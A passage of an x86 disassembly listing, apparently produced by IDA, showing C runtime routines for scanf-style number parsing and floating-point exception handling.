jmp short loc_420C36
; ---------------------------------------------------------------------------
loc_420C31: ; CODE XREF: sub_420510+719j
cmp ebx, 2Bh
jnz short loc_420C58
loc_420C36: ; CODE XREF: sub_420510+71Fj
dec [ebp+var_C]
jnz short loc_420C47
cmp [ebp+var_20], 0
jz short loc_420C47
mov [ebp+var_F], 1
jmp short loc_420C58
; ---------------------------------------------------------------------------
loc_420C47: ; CODE XREF: sub_420510+729j
; sub_420510+72Fj
push [ebp+arg_0]
inc [ebp+var_4]
call sub_420F6C
pop ecx
mov ebx, eax
loc_420C55: ; CODE XREF: sub_420510+543j
mov [ebp+var_14], ebx
loc_420C58: ; CODE XREF: sub_420510+4FDj
; sub_420510+52Dj ...
cmp [ebp+var_30], 0
jz loc_420D71
cmp [ebp+var_F], 0
jnz loc_420D4F
loc_420C6C: ; CODE XREF: sub_420510+82Cj
cmp esi, 78h
jnz short loc_420CC0
cmp dword_43C504, 1
jle short loc_420C89
push 80h
push ebx
call sub_41F515
pop ecx
pop ecx
jmp short loc_420C96
; ---------------------------------------------------------------------------
loc_420C89: ; CODE XREF: sub_420510+768j
mov eax, off_43C2F8
mov al, [eax+ebx*2]
and eax, 80h
loc_420C96: ; CODE XREF: sub_420510+777j
test eax, eax
jz loc_420D41
mov eax, [ebp+var_28]
mov edx, [ebp+var_24]
push 4
pop ecx
call sub_423F90
push ebx
mov [ebp+var_28], eax
mov [ebp+var_24], edx
call sub_420F35
mov ebx, eax
pop ecx
mov [ebp+var_14], ebx
jmp short loc_420D13
; ---------------------------------------------------------------------------
loc_420CC0: ; CODE XREF: sub_420510+75Fj
cmp dword_43C504, 1
jle short loc_420CD5
push 4
push ebx
call sub_41F515
pop ecx
pop ecx
jmp short loc_420CE0
; ---------------------------------------------------------------------------
loc_420CD5: ; CODE XREF: sub_420510+7B7j
mov eax, off_43C2F8
mov al, [eax+ebx*2]
and eax, 4
loc_420CE0: ; CODE XREF: sub_420510+7C3j
test eax, eax
jz short loc_420D41
cmp esi, 6Fh
jnz short loc_420CFE
cmp ebx, 38h
jge short loc_420D41
mov eax, [ebp+var_28]
mov edx, [ebp+var_24]
push 3
pop ecx
call sub_423F90
jmp short loc_420D0D
; ---------------------------------------------------------------------------
loc_420CFE: ; CODE XREF: sub_420510+7D7j
push 0
push 0Ah
push [ebp+var_24]
push [ebp+var_28]
call sub_41D280
loc_420D0D: ; CODE XREF: sub_420510+7ECj
mov [ebp+var_28], eax
mov [ebp+var_24], edx
loc_420D13: ; CODE XREF: sub_420510+7AEj
inc [ebp+var_1C]
lea eax, [ebx-30h]
cdq
add [ebp+var_28], eax
adc [ebp+var_24], edx
cmp [ebp+var_20], 0
jz short loc_420D2B
dec [ebp+var_C]
jz short loc_420D4F
loc_420D2B: ; CODE XREF: sub_420510+814j
push [ebp+arg_0]
inc [ebp+var_4]
call sub_420F6C
mov ebx, eax
pop ecx
mov [ebp+var_14], ebx
jmp loc_420C6C
; ---------------------------------------------------------------------------
loc_420D41: ; CODE XREF: sub_420510+788j
; sub_420510+7D2j ...
push [ebp+arg_0]
dec [ebp+var_4]
push ebx
call sub_420F86
pop ecx
pop ecx
loc_420D4F: ; CODE XREF: sub_420510+756j
; sub_420510+819j
cmp [ebp+var_17], 0
jz loc_420E35
mov eax, [ebp+var_28]
mov ecx, [ebp+var_24]
neg eax
adc ecx, 0
mov [ebp+var_28], eax
neg ecx
mov [ebp+var_24], ecx
jmp loc_420E35
; ---------------------------------------------------------------------------
loc_420D71: ; CODE XREF: sub_420510+74Cj
cmp [ebp+var_F], 0
jnz loc_420E2D
loc_420D7B: ; CODE XREF: sub_420510+90Aj
cmp esi, 78h
jz short loc_420DBF
cmp esi, 70h
jz short loc_420DBF
cmp dword_43C504, 1
jle short loc_420D9A
push 4
push ebx
call sub_41F515
pop ecx
pop ecx
jmp short loc_420DA5
; ---------------------------------------------------------------------------
loc_420D9A: ; CODE XREF: sub_420510+87Cj
mov eax, off_43C2F8
mov al, [eax+ebx*2]
and eax, 4
loc_420DA5: ; CODE XREF: sub_420510+888j
test eax, eax
jz short loc_420E1F
cmp esi, 6Fh
jnz short loc_420DB8
cmp ebx, 38h
jge short loc_420E1F
shl edi, 3
jmp short loc_420DF7
; ---------------------------------------------------------------------------
loc_420DB8: ; CODE XREF: sub_420510+89Cj
lea edi, [edi+edi*4]
shl edi, 1
jmp short loc_420DF7
; ---------------------------------------------------------------------------
loc_420DBF: ; CODE XREF: sub_420510+86Ej
; sub_420510+873j
cmp dword_43C504, 1
jle short loc_420DD7
push 80h
push ebx
call sub_41F515
pop ecx
pop ecx
jmp short loc_420DE4
; ---------------------------------------------------------------------------
loc_420DD7: ; CODE XREF: sub_420510+8B6j
mov eax, off_43C2F8
mov al, [eax+ebx*2]
and eax, 80h
loc_420DE4: ; CODE XREF: sub_420510+8C5j
test eax, eax
jz short loc_420E1F
push ebx
shl edi, 4
call sub_420F35
mov ebx, eax
pop ecx
mov [ebp+var_14], ebx
loc_420DF7: ; CODE XREF: sub_420510+8A6j
; sub_420510+8ADj
inc [ebp+var_1C]
cmp [ebp+var_20], 0
lea edi, [edi+ebx-30h]
jz short loc_420E09
dec [ebp+var_C]
jz short loc_420E2D
loc_420E09: ; CODE XREF: sub_420510+8F2j
push [ebp+arg_0]
inc [ebp+var_4]
call sub_420F6C
mov ebx, eax
pop ecx
mov [ebp+var_14], ebx
jmp loc_420D7B
; ---------------------------------------------------------------------------
loc_420E1F: ; CODE XREF: sub_420510+897j
; sub_420510+8A1j ...
push [ebp+arg_0]
dec [ebp+var_4]
push ebx
call sub_420F86
pop ecx
pop ecx
loc_420E2D: ; CODE XREF: sub_420510+865j
; sub_420510+8F7j
cmp [ebp+var_17], 0
jz short loc_420E35
neg edi
loc_420E35: ; CODE XREF: sub_420510+843j
; sub_420510+85Cj ...
cmp esi, 46h
jnz short loc_420E3E
and [ebp+var_1C], 0
loc_420E3E: ; CODE XREF: sub_420510+928j
cmp [ebp+var_1C], 0
jz loc_420F16
cmp [ebp+var_E], 0
jnz short loc_420E77
inc [ebp+var_34]
loc_420E51: ; CODE XREF: sub_420510+23Bj
cmp [ebp+var_30], 0
jz short loc_420E67
mov eax, [ebp+var_2C]
mov ecx, [ebp+var_28]
mov [eax], ecx
mov ecx, [ebp+var_24]
mov [eax+4], ecx
jmp short loc_420E77
; ---------------------------------------------------------------------------
loc_420E67: ; CODE XREF: sub_420510+945j
cmp [ebp+var_D], 0
mov eax, [ebp+var_2C]
jz short loc_420E74
mov [eax], edi
jmp short loc_420E77
; ---------------------------------------------------------------------------
loc_420E74: ; CODE XREF: sub_420510+95Ej
mov [eax], di
loc_420E77: ; CODE XREF: sub_420510+241j
; sub_420510+414j ...
inc [ebp+var_15]
inc [ebp+arg_4]
mov esi, [ebp+arg_4]
jmp short loc_420EC4
; ---------------------------------------------------------------------------
loc_420E82: ; CODE XREF: sub_420510+93j
inc [ebp+var_4]
push edi
call sub_420F6C
mov ebx, eax
pop ecx
movzx eax, byte ptr [esi]
inc esi
cmp eax, ebx
mov [ebp+var_14], ebx
mov [ebp+arg_4], esi
jnz short loc_420EF1
mov ecx, off_43C2F8
movzx eax, bl
test byte ptr [ecx+eax*2+1], 80h
jz short loc_420EC4
inc [ebp+var_4]
push edi
call sub_420F6C
pop ecx
movzx ecx, byte ptr [esi]
inc esi
cmp ecx, eax
mov [ebp+arg_4], esi
jnz short loc_420EFF
dec [ebp+var_4]
loc_420EC4: ; CODE XREF: sub_420510+970j
; sub_420510+99Aj
cmp [ebp+var_14], 0FFFFFFFFh
jnz short loc_420EDA
cmp byte ptr [esi], 25h
jnz short loc_420F1C
mov eax, [ebp+arg_4]
cmp byte ptr [eax+1], 6Eh
jnz short loc_420F1C
mov esi, eax
loc_420EDA: ; CODE XREF: sub_420510+9B8j
mov al, [esi]
test al, al
jnz loc_42053A
jmp short loc_420F16
; ---------------------------------------------------------------------------
loc_420EE6: ; CODE XREF: sub_420510+1F4j
; sub_420510+491j
push [ebp+arg_0]
dec [ebp+var_4]
push [ebp+var_14]
jmp short loc_420EF6
; ---------------------------------------------------------------------------
loc_420EF1: ; CODE XREF: sub_420510+98Aj
dec [ebp+var_4]
push edi
push ebx
loc_420EF6: ; CODE XREF: sub_420510+9DFj
call sub_420F86
pop ecx
pop ecx
jmp short loc_420F16
; ---------------------------------------------------------------------------
loc_420EFF: ; CODE XREF: sub_420510+9AFj
dec [ebp+var_4]
push edi
push eax
call sub_420F86
dec [ebp+var_4]
push edi
push ebx
call sub_420F86
add esp, 10h
loc_420F16: ; CODE XREF: sub_420510+1Fj
; sub_420510+40Aj ...
cmp [ebp+var_14], 0FFFFFFFFh
jnz short loc_420F2D
loc_420F1C: ; CODE XREF: sub_420510+9BDj
; sub_420510+9C6j
mov eax, [ebp+var_34]
test eax, eax
jnz short loc_420F30
cmp [ebp+var_15], al
jnz short loc_420F30
or eax, 0FFFFFFFFh
jmp short loc_420F30
; ---------------------------------------------------------------------------
loc_420F2D: ; CODE XREF: sub_420510+A0Aj
mov eax, [ebp+var_34]
loc_420F30: ; CODE XREF: sub_420510+A11j
; sub_420510+A16j ...
pop edi
pop esi
pop ebx
leave
retn
sub_420510 endp
; =============== S U B R O U T I N E =======================================
sub_420F35 proc near ; CODE XREF: sub_420510+7A3p
; sub_420510+8DCp
arg_0 = dword ptr 4
cmp dword_43C504, 1
push esi
jle short loc_420F4F
mov esi, [esp+4+arg_0]
push 4
push esi
call sub_41F515
pop ecx
pop ecx
jmp short loc_420F5E
; ---------------------------------------------------------------------------
loc_420F4F: ; CODE XREF: sub_420F35+8j
mov esi, [esp+4+arg_0]
mov eax, off_43C2F8
mov al, [eax+esi*2]
and eax, 4
loc_420F5E: ; CODE XREF: sub_420F35+18j
test eax, eax
jnz short loc_420F68
and esi, 0FFFFFFDFh
sub esi, 7
loc_420F68: ; CODE XREF: sub_420F35+2Bj
mov eax, esi
pop esi
retn
sub_420F35 endp
; =============== S U B R O U T I N E =======================================
sub_420F6C proc near ; CODE XREF: sub_420510+1E1p
; sub_420510+289p ...
arg_0 = dword ptr 4
mov edx, [esp+arg_0]
dec dword ptr [edx+4]
js short loc_420F7E
mov ecx, [edx]
movzx eax, byte ptr [ecx]
inc ecx
mov [edx], ecx
retn
; ---------------------------------------------------------------------------
loc_420F7E: ; CODE XREF: sub_420F6C+7j
push edx
call sub_41F043
pop ecx
retn
sub_420F6C endp
; =============== S U B R O U T I N E =======================================
sub_420F86 proc near ; CODE XREF: sub_420510+6Bp
; sub_420510+3FFp ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
cmp [esp+arg_0], 0FFFFFFFFh
jz short locret_420F9C
push [esp+arg_4]
push [esp+4+arg_0]
call sub_423FAF
pop ecx
pop ecx
locret_420F9C: ; CODE XREF: sub_420F86+5j
retn
sub_420F86 endp
; =============== S U B R O U T I N E =======================================
sub_420F9D proc near ; CODE XREF: sub_420510+63p
; sub_420510+1D3p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push esi
mov esi, [esp+4+arg_0]
push edi
loc_420FA3: ; CODE XREF: sub_420F9D+1Dj
push [esp+8+arg_4]
inc dword ptr [esi]
call sub_420F6C
mov edi, eax
push edi
call sub_41D670
pop ecx
test eax, eax
pop ecx
jnz short loc_420FA3
mov eax, edi
pop edi
pop esi
retn
sub_420F9D endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __fastcall sub_420FC1(int,int,double,int)
sub_420FC1 proc near ; CODE XREF: sub_41C679+51p
; sub_41C7BF+51p
var_1C = qword ptr -1Ch
var_14 = qword ptr -14h
var_C = qword ptr -0Ch
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_C = dword ptr 14h
push ebp
mov ebp, esp
cmp dword_43CC70, 0
jnz short loc_420FF6
push [ebp+arg_C] ; int
fld qword ptr [ebp+arg_4]
push ecx
push ecx ; double
fstp [esp+0Ch+var_C]
push ecx ; int
push ecx ; int
fldz
fstp [esp+14h+var_14]
fld qword ptr [ebp+arg_4]
push ecx ; int
push ecx ; int
fstp [esp+1Ch+var_1C]
push [ebp+arg_0] ; int
push 1 ; int
call sub_421576
add esp, 24h
pop ebp
retn
; ---------------------------------------------------------------------------
loc_420FF6: ; CODE XREF: sub_420FC1+Aj
push 0FFFFh
mov dword_4DB278, 21h
push [ebp+arg_C]
call sub_4217E9
fld qword ptr [ebp+arg_4]
pop ecx
pop ecx
pop ebp
retn
sub_420FC1 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __cdecl sub_421014(int,int,double,double,int)
sub_421014 proc near ; CODE XREF: sub_41C679:loc_41C73Cp
; sub_41C7BF:loc_41C882p
var_74 = qword ptr -74h
var_6C = qword ptr -6Ch
var_64 = qword ptr -64h
var_5C = dword ptr -5Ch
var_58 = byte ptr -58h
var_20 = dword ptr -20h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = qword ptr 10h
arg_10 = qword ptr 18h
arg_18 = dword ptr 20h
push ebp
mov ebp, esp
sub esp, 58h
push [ebp+arg_18]
lea eax, [ebp+arg_10]
push eax
push [ebp+arg_0]
call sub_42135F
add esp, 0Ch
test eax, eax
jnz short loc_421052
lea eax, [ebp+arg_10]
and [ebp+var_20], 0FFFFFFFEh
push eax
lea eax, [ebp+arg_8]
push eax
lea eax, [ebp+arg_18]
push [ebp+arg_4]
push [ebp+arg_0]
push eax
lea eax, [ebp+var_58]
push eax
call sub_4210AC
add esp, 18h
loc_421052: ; CODE XREF: sub_421014+1Aj
push [ebp+arg_0]
call sub_421649
cmp dword_43CC70, 0
pop ecx
jnz short loc_421090
test eax, eax
jz short loc_421090
push [ebp+arg_18] ; int
fld [ebp+arg_10]
push ecx
push ecx ; double
fstp [esp+64h+var_64]
push ecx ; int
push ecx ; int
fldz
fstp [esp+6Ch+var_6C]
fld [ebp+arg_8]
push ecx ; int
push ecx ; int
fstp [esp+74h+var_74]
push [ebp+arg_4] ; int
push eax ; int
call sub_421576
add esp, 24h
leave
retn
; ---------------------------------------------------------------------------
loc_421090: ; CODE XREF: sub_421014+4Ej
; sub_421014+52j
push eax
call sub_4215FE
mov [esp+5Ch+var_5C], 0FFFFh
push [ebp+arg_18]
call sub_4217E9
fld [ebp+arg_10]
pop ecx
pop ecx
leave
retn
sub_421014 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4210AC proc near ; CODE XREF: sub_421014+36p
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
push ebp
mov ebp, esp
mov ecx, [ebp+arg_0]
xor eax, eax
push ebx
push esi
mov [ecx+4], eax
mov ecx, [ebp+arg_0]
push edi
push 1
mov [ecx+8], eax
mov ecx, [ebp+arg_0]
pop ebx
mov [ecx+0Ch], eax
mov cl, byte ptr [ebp+arg_8]
test cl, 10h
jz short loc_4210DE
mov eax, [ebp+arg_0]
mov [ebp+arg_8], 0C000008Fh
or [eax+4], ebx
loc_4210DE: ; CODE XREF: sub_4210AC+23j
test cl, 2
jz short loc_4210F1
mov eax, [ebp+arg_0]
mov [ebp+arg_8], 0C0000093h
or dword ptr [eax+4], 2
loc_4210F1: ; CODE XREF: sub_4210AC+35j
test cl, bl
jz short loc_421103
mov eax, [ebp+arg_0]
mov [ebp+arg_8], 0C0000091h
or dword ptr [eax+4], 4
loc_421103: ; CODE XREF: sub_4210AC+47j
test cl, 4
jz short loc_421116
mov eax, [ebp+arg_0]
mov [ebp+arg_8], 0C000008Eh
or dword ptr [eax+4], 8
loc_421116: ; CODE XREF: sub_4210AC+5Aj
test cl, 8
jz short loc_421129
mov eax, [ebp+arg_0]
mov [ebp+arg_8], 0C0000090h
or dword ptr [eax+4], 10h
loc_421129: ; CODE XREF: sub_4210AC+6Dj
mov esi, [ebp+arg_4]
mov eax, [ebp+arg_0]
push 2
mov ecx, [esi]
mov edx, [eax+8]
not ecx
and ecx, ebx
and edx, 0FFFFFFEFh
shl ecx, 4
or ecx, edx
pop edi
mov [eax+8], ecx
mov ecx, [esi]
mov eax, [ebp+arg_0]
not ecx
mov edx, [eax+8]
and ecx, 4
shl ecx, 1
and edx, 0FFFFFFF7h
or ecx, edx
mov [eax+8], ecx
mov ecx, [esi]
mov eax, [ebp+arg_0]
not ecx
mov edx, [eax+8]
shr ecx, 1
and ecx, 4
and edx, 0FFFFFFFBh
or ecx, edx
mov [eax+8], ecx
mov ecx, [esi]
mov eax, [ebp+arg_0]
not ecx
mov edx, [eax+8]
shr ecx, 3
and ecx, edi
and edx, 0FFFFFFFDh
or ecx, edx
mov [eax+8], ecx
mov ecx, [esi]
mov eax, [ebp+arg_0]
not ecx
mov edx, [eax+8]
shr ecx, 5
and ecx, ebx
and edx, 0FFFFFFFEh
or ecx, edx
mov [eax+8], ecx
call sub_4217CC
test al, bl
jz short loc_4211B2
mov ecx, [ebp+arg_0]
or dword ptr [ecx+0Ch], 10h
loc_4211B2: ; CODE XREF: sub_4210AC+FDj
test al, 4
jz short loc_4211BD
mov ecx, [ebp+arg_0]
or dword ptr [ecx+0Ch], 8
loc_4211BD: ; CODE XREF: sub_4210AC+108j
test al, 8
jz short loc_4211C8
mov ecx, [ebp+arg_0]
or dword ptr [ecx+0Ch], 4
loc_4211C8: ; CODE XREF: sub_4210AC+113j
test al, 10h
jz short loc_4211D2
mov ecx, [ebp+arg_0]
or [ecx+0Ch], edi
loc_4211D2: ; CODE XREF: sub_4210AC+11Ej
test al, 20h
jz short loc_4211DC
mov eax, [ebp+arg_0]
or [eax+0Ch], ebx
loc_4211DC: ; CODE XREF: sub_4210AC+128j
mov eax, [esi]
mov ecx, 0C00h
and eax, ecx
jz short loc_42121B
cmp eax, 400h
jz short loc_42120D
cmp eax, 800h
jz short loc_421201
cmp eax, ecx
jnz short loc_421221
mov eax, [ebp+arg_0]
or dword ptr [eax], 3
jmp short loc_421221
; ---------------------------------------------------------------------------
loc_421201: ; CODE XREF: sub_4210AC+147j
mov eax, [ebp+arg_0]
mov ecx, [eax]
and ecx, 0FFFFFFFEh
or ecx, edi
jmp short loc_421217
; ---------------------------------------------------------------------------
loc_42120D: ; CODE XREF: sub_4210AC+140j
mov eax, [ebp+arg_0]
mov ecx, [eax]
and ecx, 0FFFFFFFDh
or ecx, ebx
loc_421217: ; CODE XREF: sub_4210AC+15Fj
mov [eax], ecx
jmp short loc_421221
; ---------------------------------------------------------------------------
loc_42121B: ; CODE XREF: sub_4210AC+139j
mov eax, [ebp+arg_0]
and dword ptr [eax], 0FFFFFFFCh
loc_421221: ; CODE XREF: sub_4210AC+14Bj
; sub_4210AC+153j ...
mov eax, [esi]
mov ecx, 300h
and eax, ecx
jz short loc_42124C
cmp eax, 200h
jz short loc_42123F
cmp eax, ecx
jnz short loc_421259
mov eax, [ebp+arg_0]
and dword ptr [eax], 0FFFFFFE3h
jmp short loc_421259
; ---------------------------------------------------------------------------
loc_42123F: ; CODE XREF: sub_4210AC+185j
mov eax, [ebp+arg_0]
mov ecx, [eax]
and ecx, 0FFFFFFE7h
or ecx, 4
jmp short loc_421257
; ---------------------------------------------------------------------------
loc_42124C: ; CODE XREF: sub_4210AC+17Ej
mov eax, [ebp+arg_0]
mov ecx, [eax]
and ecx, 0FFFFFFEBh
or ecx, 8
loc_421257: ; CODE XREF: sub_4210AC+19Ej
mov [eax], ecx
loc_421259: ; CODE XREF: sub_4210AC+189j
; sub_4210AC+191j
mov eax, [ebp+arg_0]
mov ecx, [ebp+arg_C]
and ecx, 0FFFh
mov edx, [eax]
shl ecx, 5
and edx, 0FFFE001Fh
or ecx, edx
mov [eax], ecx
mov eax, [ebp+arg_0]
or [eax+20h], ebx
mov eax, [ebp+arg_0]
mov ecx, [eax+20h]
and ecx, 0FFFFFFE3h
or ecx, edi
mov [eax+20h], ecx
mov eax, [ebp+arg_10]
fld qword ptr [eax]
mov eax, [ebp+arg_0]
fstp qword ptr [eax+10h]
mov eax, [ebp+arg_0]
or [eax+50h], ebx
mov eax, [ebp+arg_0]
mov ecx, [eax+50h]
and ecx, 0FFFFFFE3h
or ecx, edi
mov edi, [ebp+arg_14]
mov [eax+50h], ecx
mov eax, [ebp+arg_0]
fld qword ptr [edi]
fstp qword ptr [eax+40h]
call sub_4217DA
lea eax, [ebp+arg_0]
push eax
push ebx
push 0
push [ebp+arg_8]
call near ptr 26503FFh
nop
mov eax, [ebp+arg_0]
test byte ptr [eax+8], 10h
jz short loc_4212D3
and dword ptr [esi], 0FFFFFFFEh
loc_4212D3: ; CODE XREF: sub_4210AC+222j
test byte ptr [eax+8], 8
jz short loc_4212DC
and dword ptr [esi], 0FFFFFFFBh
loc_4212DC: ; CODE XREF: sub_4210AC+22Bj
test byte ptr [eax+8], 4
jz short loc_4212E5
and dword ptr [esi], 0FFFFFFF7h
loc_4212E5: ; CODE XREF: sub_4210AC+234j
test byte ptr [eax+8], 2
jz short loc_4212EE
and dword ptr [esi], 0FFFFFFEFh
loc_4212EE: ; CODE XREF: sub_4210AC+23Dj
test [eax+8], bl
jz short loc_4212F6
and dword ptr [esi], 0FFFFFFDFh
loc_4212F6: ; CODE XREF: sub_4210AC+245j
mov ecx, [eax]
mov edx, 0FFFFF3FFh
and ecx, 3
sub ecx, 0
jz short loc_42132A
dec ecx
jz short loc_42131E
dec ecx
jz short loc_421314
dec ecx
jnz short loc_42132C
or byte ptr [esi+1], 0Ch
jmp short loc_42132C
; ---------------------------------------------------------------------------
loc_421314: ; CODE XREF: sub_4210AC+25Dj
mov ecx, [esi]
and ch, 0FBh
or ch, 8
jmp short loc_421326
; ---------------------------------------------------------------------------
loc_42131E: ; CODE XREF: sub_4210AC+25Aj
mov ecx, [esi]
and ch, 0F7h
or ch, 4
loc_421326: ; CODE XREF: sub_4210AC+270j
mov [esi], ecx
jmp short loc_42132C
; ---------------------------------------------------------------------------
loc_42132A: ; CODE XREF: sub_4210AC+257j
and [esi], edx
loc_42132C: ; CODE XREF: sub_4210AC+260j
; sub_4210AC+266j ...
mov ecx, [eax]
shr ecx, 2
and ecx, 7
sub ecx, 0
jz short loc_42134C
dec ecx
jz short loc_421343
dec ecx
jnz short loc_421355
and [esi], edx
jmp short loc_421355
; ---------------------------------------------------------------------------
loc_421343: ; CODE XREF: sub_4210AC+28Ej
mov ecx, [esi]
and ecx, edx
or ch, 2
jmp short loc_421353
; ---------------------------------------------------------------------------
loc_42134C: ; CODE XREF: sub_4210AC+28Bj
mov ecx, [esi]
and ecx, edx
or ch, 3
loc_421353: ; CODE XREF: sub_4210AC+29Ej
mov [esi], ecx
loc_421355: ; CODE XREF: sub_4210AC+291j
; sub_4210AC+295j
fld qword ptr [eax+40h]
fstp qword ptr [edi]
pop edi
pop esi
pop ebx
pop ebp
retn
sub_4210AC endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_42135F proc near ; CODE XREF: sub_421014+10p
var_24 = qword ptr -24h
var_C = qword ptr -0Ch
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 0Ch
mov eax, [ebp+arg_0]
push ebx
push edi
mov edi, eax
and edi, 1Fh
push 1
test al, 8
pop ebx
jz short loc_42138A
test byte ptr [ebp+arg_8], bl
jz short loc_42138A
push ebx
call sub_42180C
pop ecx
and edi, 0FFFFFFF7h
jmp loc_421554
; ---------------------------------------------------------------------------
loc_42138A: ; CODE XREF: sub_42135F+15j
; sub_42135F+1Aj
test al, 4
jz short loc_4213A4
test byte ptr [ebp+arg_8], 4
jz short loc_4213A4
push 4
call sub_42180C
pop ecx
and edi, 0FFFFFFFBh
jmp loc_421554
; ---------------------------------------------------------------------------
loc_4213A4: ; CODE XREF: sub_42135F+2Dj
; sub_42135F+33j
test al, bl
jz loc_42147E
test byte ptr [ebp+arg_8], 8
jz loc_42147E
push 8
call sub_42180C
pop ecx
mov eax, 0C00h
mov ecx, [ebp+arg_8]
and ecx, eax
jz loc_421456
cmp ecx, 400h
jz short loc_42142E
cmp ecx, 800h
jz short loc_421406
cmp ecx, eax
jnz loc_421476
mov ecx, [ebp+arg_4]
fld qword ptr [ecx]
fcomp dbl_427880
fld dbl_43C870
fnstsw ax
sahf
ja short loc_4213FE
fchs
loc_4213FE: ; CODE XREF: sub_42135F+9Bj
fstp [ebp+var_C]
fld [ebp+var_C]
jmp short loc_421474
; ---------------------------------------------------------------------------
loc_421406: ; CODE XREF: sub_42135F+7Dj
mov ecx, [ebp+arg_4]
fld qword ptr [ecx]
fcomp dbl_427880
fnstsw ax
sahf
jbe short loc_42141E
fld dbl_43C860
jmp short loc_421426
; ---------------------------------------------------------------------------
loc_42141E: ; CODE XREF: sub_42135F+B5j
fld dbl_43C870
fchs
loc_421426: ; CODE XREF: sub_42135F+BDj
fstp [ebp+var_C]
fld [ebp+var_C]
jmp short loc_421474
; ---------------------------------------------------------------------------
loc_42142E: ; CODE XREF: sub_42135F+75j
mov ecx, [ebp+arg_4]
fld qword ptr [ecx]
fcomp dbl_427880
fnstsw ax
sahf
jbe short loc_421446
fld dbl_43C870
jmp short loc_42144E
; ---------------------------------------------------------------------------
loc_421446: ; CODE XREF: sub_42135F+DDj
fld dbl_43C860
fchs
loc_42144E: ; CODE XREF: sub_42135F+E5j
fstp [ebp+var_C]
fld [ebp+var_C]
jmp short loc_421474
; ---------------------------------------------------------------------------
loc_421456: ; CODE XREF: sub_42135F+69j
mov ecx, [ebp+arg_4]
fld qword ptr [ecx]
fcomp dbl_427880
fld dbl_43C860
fnstsw ax
sahf
ja short loc_42146E
fchs
loc_42146E: ; CODE XREF: sub_42135F+10Bj
fstp [ebp+var_C]
fld [ebp+var_C]
loc_421474: ; CODE XREF: sub_42135F+A5j
; sub_42135F+CDj ...
fstp qword ptr [ecx]
loc_421476: ; CODE XREF: sub_42135F+81j
and edi, 0FFFFFFFEh
jmp loc_421554
; ---------------------------------------------------------------------------
loc_42147E: ; CODE XREF: sub_42135F+47j
; sub_42135F+51j
test al, 2
jz loc_421554
test byte ptr [ebp+arg_8], 10h
jz loc_421554
push esi
xor esi, esi
test al, 10h
jz short loc_421499
mov esi, ebx
loc_421499: ; CODE XREF: sub_42135F+136j
mov eax, [ebp+arg_4]
fld qword ptr [eax]
fstp [ebp+var_C]
fld [ebp+var_C]
fcomp dbl_427880
fnstsw ax
sahf
jz loc_421542
fld [ebp+var_C]
lea eax, [ebp+var_4]
push eax ; int
push ecx
push ecx ; double
fstp [esp+24h+var_24]
call sub_42170B
mov eax, [ebp+var_4]
add esp, 0Ch
fstp [ebp+var_C]
lea ecx, [eax-600h]
cmp ecx, 0FFFFFBCEh
jge short loc_4214E4
fldz
mov esi, ebx
fstp [ebp+var_C]
jmp short loc_421538
; ---------------------------------------------------------------------------
loc_4214E4: ; CODE XREF: sub_42135F+17Aj
fld [ebp+var_C]
fcomp dbl_427880
fnstsw ax
sahf
jnb short loc_4214F6
mov edx, ebx
jmp short loc_4214F8
; ---------------------------------------------------------------------------
loc_4214F6: ; CODE XREF: sub_42135F+191j
xor edx, edx
loc_4214F8: ; CODE XREF: sub_42135F+195j
mov al, byte ptr [ebp+var_C+6]
and eax, 0Fh
or al, 10h
mov word ptr [ebp+var_C+6], ax
mov eax, 0FFFFFC03h
cmp ecx, eax
jge short loc_42152C
sub eax, ecx
loc_42150F: ; CODE XREF: sub_42135F+1CBj
test byte ptr [ebp+var_C], bl
jz short loc_42151A
test esi, esi
jnz short loc_42151A
mov esi, ebx
loc_42151A: ; CODE XREF: sub_42135F+1B3j
; sub_42135F+1B7j
shr dword ptr [ebp+var_C], 1
test byte ptr [ebp+var_C+4], bl
jz short loc_421526
or byte ptr [ebp+var_C+3], 80h
loc_421526: ; CODE XREF: sub_42135F+1C1j
shr dword ptr [ebp+var_C+4], 1
dec eax
jnz short loc_42150F
loc_42152C: ; CODE XREF: sub_42135F+1ACj
test edx, edx
jz short loc_421538
fld [ebp+var_C]
fchs
fstp [ebp+var_C]
loc_421538: ; CODE XREF: sub_42135F+183j
; sub_42135F+1CFj
fld [ebp+var_C]
mov eax, [ebp+arg_4]
fstp qword ptr [eax]
jmp short loc_421544
; ---------------------------------------------------------------------------
loc_421542: ; CODE XREF: sub_42135F+14Ej
mov esi, ebx
loc_421544: ; CODE XREF: sub_42135F+1E1j
test esi, esi
pop esi
jz short loc_421551
push 10h
call sub_42180C
pop ecx
loc_421551: ; CODE XREF: sub_42135F+1E8j
and edi, 0FFFFFFFDh
loc_421554: ; CODE XREF: sub_42135F+26j
; sub_42135F+40j ...
test byte ptr [ebp+arg_0], 10h
jz short loc_42156B
test byte ptr [ebp+arg_8], 20h
jz short loc_42156B
push 20h
call sub_42180C
pop ecx
and edi, 0FFFFFFEFh
loc_42156B: ; CODE XREF: sub_42135F+1F9j
; sub_42135F+1FFj
xor eax, eax
test edi, edi
pop edi
pop ebx
setz al
leave
retn
sub_42135F endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __cdecl sub_421576(int,int,int,int,int,int,double,int)
sub_421576 proc near ; CODE XREF: sub_420FC1+2Bp
; sub_421014+72p
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = qword ptr -8
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
arg_18 = qword ptr 20h
arg_20 = dword ptr 28h
push ebp
mov ebp, esp
sub esp, 20h
push [ebp+arg_4]
call sub_421624
